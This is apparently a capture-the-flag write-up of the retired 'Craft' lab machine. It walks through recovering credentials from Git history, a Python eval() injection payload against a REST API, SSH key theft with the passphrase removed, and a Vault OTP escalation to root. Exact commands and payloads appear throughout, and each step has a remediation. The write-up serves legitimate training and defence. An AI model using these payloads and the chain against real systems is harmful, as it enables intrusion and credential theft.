Craft
Summary
The Conquest Craft server ($TARGET) was fully compromised to root through a four-link credential and code-execution chain. A developer committed plaintext application credentials into a public Git repository and later deleted the file, but Git retained them in history.
Those credentials authenticated against a REST API whose brew-creation endpoint passed user-supplied input directly to Python eval(), granting arbitrary code execution inside the application container. I used that execution to read application configuration files and recover a second developer's password, then logged into that developer's private Git repository to steal an SSH private key whose passphrase was the same reused password — immediately cracked.
The key provided an interactive shell on the host as user gilfoyle. From that shell, a HashiCorp Vault SSH one-time-password backend — configured without access controls — issued a root-level login credential on demand, completing escalation to full root.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV --min-rate 5000 -p- $TARGETcurl -sk https://$TARGET/ | grep -Eio '[a-z0-9.-]+\.htb' | sort -uecho "$TARGET craft.htb api.craft.htb gogs.craft.htb vault.craft.htb" | sudo tee -a /etc/hostsExact commands 4
git clone https://gogs.craft.htb/Craft/craft-api.git && cd craft-apigit log --oneline --allgit show $(git log --all --oneline | grep -i 'test' | awk '{print $1}' | head -1)curl -ksS -u 'dinesh:[REDACTED: recovered credential]' https://api.craft.htb/api/auth/loginFixPurge credentials from version-control history and enforce pre-commit secret scanningCritical
Exact commands 3
TOKEN=$(curl -ksS -u 'dinesh:[REDACTED: recovered credential]' https://api.craft.htb/api/auth/login | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')curl -ksS -X POST https://api.craft.htb/api/brew/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"abv":"[create_brew({\"name\":(__import__(\"os\").popen(\"id\").read()).encode(\"hex\"),\"brewer\":\"x\",\"style\":\"x\",\"abv\":\"0.05\"}),0.05][1]","name":"x","brewer":"x","style":"x"}'curl -ksS https://api.craft.htb/api/brew/<returned_id> | python3 -c "import sys,json,codecs; d=json.load(sys.stdin); print(codecs.decode(d['name'],'hex_codec').decode())"FixReplace eval() with a safe numeric parser to eliminate server-side code injectionCritical
Exact commands 2
curl -ksS -X POST https://api.craft.htb/api/brew/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"abv":"[create_brew({\"name\":(__import__(\"os\").popen(\"cat /opt/app/craft_api/settings.py\").read()[:2000]).encode(\"hex\"),\"brewer\":\"x\",\"style\":\"x\",\"abv\":\"0.05\"}),0.05][1]","name":"x","brewer":"x","style":"x"}'curl -ksS https://api.craft.htb/api/brew/<returned_id> | python3 -c "import sys,json,codecs; d=json.load(sys.stdin); print(codecs.decode(d['name'],'hex_codec').decode())"Exact commands 3
git clone https://$USERNAME:$PASSWORD@gogs.craft.htb/gilfoyle/craft-infra.gitls craft-infra/.ssh/ssh-keygen -y -P '[REDACTED: recovered credential]' -f craft-infra/.ssh/id_rsaFixRemove SSH private keys and infrastructure secrets from all Git repositoriesHigh
Exact commands 3
cp craft-infra/.ssh/id_rsa /tmp/gilfoyle_nopass && chmod 600 /tmp/gilfoyle_nopassssh-keygen -p -P '[REDACTED: recovered credential]' -N '' -f /tmp/gilfoyle_nopassssh -i /tmp/gilfoyle_nopass -o StrictHostKeyChecking=no gilfoyle@$TARGET 'id; hostname; cat /home/gilfoyle/user.txt'FixEnforce unique passphrases for SSH keys that are distinct from any account passwordHigh
Exact commands 2
ssh -i /tmp/gilfoyle_nopass gilfoyle@$TARGET "VAULT_ADDR=https://vault.craft.htb:8200 vault write ssh/creds/root_otp ip=$TARGET"sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'FixRestrict the Vault SSH OTP role to authorized administrators and enable audit loggingCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) |
| 443/tcp | ssl/http nginx 1.15.8 |
| 6022/tcp | x11 |